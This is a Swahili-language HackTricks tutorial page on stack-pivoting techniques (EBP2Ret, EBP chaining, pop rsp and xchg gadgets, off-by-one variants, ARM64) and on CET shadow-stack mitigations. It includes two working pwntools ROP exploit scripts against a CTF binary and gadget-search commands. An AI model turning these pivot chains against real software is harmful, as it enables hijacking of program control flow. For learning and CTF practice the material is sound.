Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 12 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Teknolojia hii inatumia uwezo wa kudhibiti Base Pointer (EBP/RBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya frame pointer na mfuatano wa amri leave; ret
.
Kumbuka, kwenye x86/x86-64 leave
ni sawa na:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Na kwa kuwa EBP/RBP iliyohifadhiwa iko kwenye stack kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.
Maelezo
- Katika 64-bit, badilisha EBP→RBP na ESP→RSP. Maana ni sawa.
- Wasanidi programu wengine huacha kiashiria cha fremu (angalia "EBP huenda isitumike"). Katika kesi hiyo,
leave
huenda isiwepo na mbinu hii haitafanya kazi.
EBP2Ret
Mbinu hii ni muhimu hasa unapoweza kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP. Inatumia tabia ya epilogue ya kazi.
Ikiwa, wakati wa utekelezaji wa fvuln
, unafanikiwa kuingiza EBP bandia kwenye stack inayorejelea eneo katika kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (plus bytes 8 kwenye amd64 / bytes 4 kwenye x86 kuzingatia pop
), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Kadri kazi inavyorejea, leave
inaweka RSP kwenye eneo lililotengenezwa na pop rbp
inayofuata inapunguza RSP, ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji hapo. Kisha ret
itatumia anwani hiyo.
Kumbuka jinsi unavyohitaji kujua anwani 2: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo ret
itatumia.
Ujenzi wa Ulaghai
Kwanza unahitaji kujua anwani ambapo unaweza kuandika data/anwani zisizo na mpangilio. RSP itakuwa inarejelea hapa na itakula ret
ya kwanza.
Kisha, unahitaji kuchagua anwani inayotumika na ret
ambayo itafanya hamasisho la utekelezaji. Unaweza kutumia:
- Anwani halali ya ONE_GADGET.
- Anwani ya
system()
ikifuatiwa na kurudi sahihi na hoja (kwenye x86: lengo laret
=&system
, kisha bytes 4 za takataka, kisha&"/bin/sh"
). - Anwani ya
jmp esp;
gadget (ret2esp) ikifuatiwa na shellcode ya ndani. - Mnyororo wa ROP uliowekwa kwenye kumbukumbu inayoweza kuandikwa.
Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika eneo lililodhibitiwa, lazima kuwe na nafasi kwa pop ebp/rbp
kutoka leave
(8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuweka EBP bandia ya pili na kudumisha udhibiti baada ya wito wa kwanza kurudi.
Ulaghai wa Off-By-One
Kuna toleo linalotumika unapoweza kubadilisha tu byte ya chini zaidi ya EBP/RBP iliyohifadhiwa. Katika kesi hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na ret
lazima liwe na bytes tatu/tano za kwanza zinazoshiriki na EBP/RBP ya awali ili kuweza kuhamasisha uandishi wa byte 1. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka kadri inavyowezekana ndani ya ukurasa wa karibu/eneo lililopangwa.
Pia ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba RSP mpya inaelekea ndani ya sled na mnyororo wa mwisho wa ROP unatekelezwa.
EBP Chaining
Kwa kuweka anwani iliyodhibitiwa kwenye slot ya EBP
iliyohifadhiwa ya stack na gadget ya leave; ret
katika EIP/RIP
, inawezekana kuhamasisha ESP/RSP
kwenda kwenye anwani inayodhibitiwa na mshambuliaji.
Sasa RSP
inadhibitiwa na amri inayofuata ni ret
. Weka kwenye kumbukumbu iliyodhibitiwa kitu kama:
&(next fake EBP)
-> Imewekwa napop ebp/rbp
kutokaleave
.&system()
-> Inaitwa naret
.&(leave;ret)
-> Baada yasystem
kumalizika, inahamisha RSP kwenda EBP bandia inayofuata na inaendelea.&("/bin/sh")
-> Hoja kwasystem
.
Kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
Hii ni kama ret2lib, lakini ngumu zaidi na inafaida tu katika hali za ukingo.
Zaidi ya hayo, hapa una mfano wa changamoto inayotumia mbinu hii na stack leak ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
nasibu ya amd64: System V ABI inahitaji usawa wa byte 16 kwenye maeneo ya wito. Ikiwa mnyororo wako unaita kazi kama
system
, ongeza gadget ya usawa (mfano,ret
, ausub rsp, 8 ; ret
) kabla ya wito ili kudumisha usawa na kuepuka ajali zamovaps
.
EBP huenda isitumike
Kama ilivyoelezwa katika chapisho hili, ikiwa binary imeandikwa kwa baadhi ya uboreshaji au kwa kutokuwepo kwa frame-pointer, EBP/RBP kamwe haiwezi kudhibiti ESP/RSP. Hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue hairejeshi kutoka kwa frame pointer.
- Haijaboreshwa / frame pointer inatumika:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Imeboreshwa / kiashiria cha fremu hakijajumuishwa:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 utaona mara nyingi pop rbp ; ret
badala ya leave ; ret
, lakini ikiwa kipimo cha fremu hakijatumika kabisa basi hakuna epilogue ya rbp
ya kupita kupitia.
Njia nyingine za kudhibiti RSP
pop rsp
gadget
Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hiyo ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na pop rsp
gadget na kuna leak kutoka kwenye stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Angalia mbinu ya ret2esp hapa:
Kupata vifaa vya pivot haraka
Tumia kipata vifaa chako unachokipenda kutafuta primitives za pivot za jadi:
leave ; ret
kwenye kazi au katika maktabapop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(auadd esp, <imm> ; ret
kwenye x86)
Mifano:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Mkakati thabiti wa pivot unaotumika katika CTFs/exploits nyingi:
- Tumia overflow ndogo ya awali kuita
read
/recv
kwenye eneo kubwa linaloweza kuandikwa (mfano,.bss
, heap, au kumbukumbu ya RW iliyopangwa) na weka mnyororo kamili wa ROP hapo. - Rudisha kwenye kifaa cha pivot (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) ili kuhamasisha RSP kwenda kwenye eneo hilo. - Endelea na mnyororo wa hatua (mfano, leak libc, ita
mprotect
, kisharead
shellcode, kisha ruka kwake).
Modern mitigations that break stack pivoting (CET/Shadow Stack)
CPUs na OS za kisasa za x86 zinaendelea kutumia CET Shadow Stack (SHSTK). Ikiwa SHSTK imewezeshwa, ret
inalinganisha anwani ya kurudi kwenye stack ya kawaida na stack ya kivuli iliyolindwa na vifaa; tofauti yoyote inasababisha kosa la Control-Protection na kuua mchakato. Hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitakufa mara tu ret
ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivoted.
- Kwa maelezo ya nyuma na maelezo ya kina angalia:
- Ukaguzi wa haraka kwenye Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Maelezo kwa maabara/CTF:
-
Baadhi ya distros za kisasa zinawezesha SHSTK kwa binaries zenye CET wakati msaada wa vifaa na glibc upo. Kwa majaribio yaliyodhibitiwa katika VMs, SHSTK inaweza kuzuiliwa kwa mfumo mzima kupitia parameter ya boot ya kernel
nousershstk
, au kuwezeshwa kwa kuchagua kupitia glibc tunables wakati wa kuanzisha (angalia marejeleo). Usizuilie mipango kwenye malengo ya uzalishaji. -
Mbinu za JOP/COOP au SROP zinaweza bado kuwa na ufanisi kwenye baadhi ya malengo, lakini SHSTK hasa inavunja pivots za
ret
. -
Kumbuka kuhusu Windows: Windows 10+ inaonyesha user-mode na Windows 11 inaongeza kernel-mode "Ulinzi wa Stack unaotolewa na Vifaa" uliojengwa kwenye shadow stacks. Mchakato unaofaa CET unazuia stack pivoting/ROP kwenye
ret
; waendelezaji wanajiandikisha kupitia CETCOMPAT na sera zinazohusiana (angalia rejeleo).
ARM64
Katika ARM64, prologue na epilogues za kazi hazihifadhi na kurejesha register ya SP kwenye stack. Zaidi ya hayo, RET
hairejeshi kwenye anwani inayotolewa na SP, bali kwenye anwani ndani ya x30
.
Hivyo, kwa kawaida, kwa kutumia tu epilogue hu wezi kudhibiti register ya SP kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya kudhibiti register ya x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP inashikilia rekodi ya frame
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 ingekuwa kuwa na uwezo wa kudhibiti SP
(kwa kudhibiti register fulani ambayo thamani yake inapitishwa kwa SP
au kwa sababu fulani SP
inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha kuabudu epilogue ili kupakia register ya x30
kutoka SP
iliyo dhibitiwa na RET
kwake.
Pia katika ukurasa ufuatao unaweza kuona sawa na Ret2esp katika ARM64:
Marejeleo
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk
,/proc/$PID/status
flags, and enabling viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.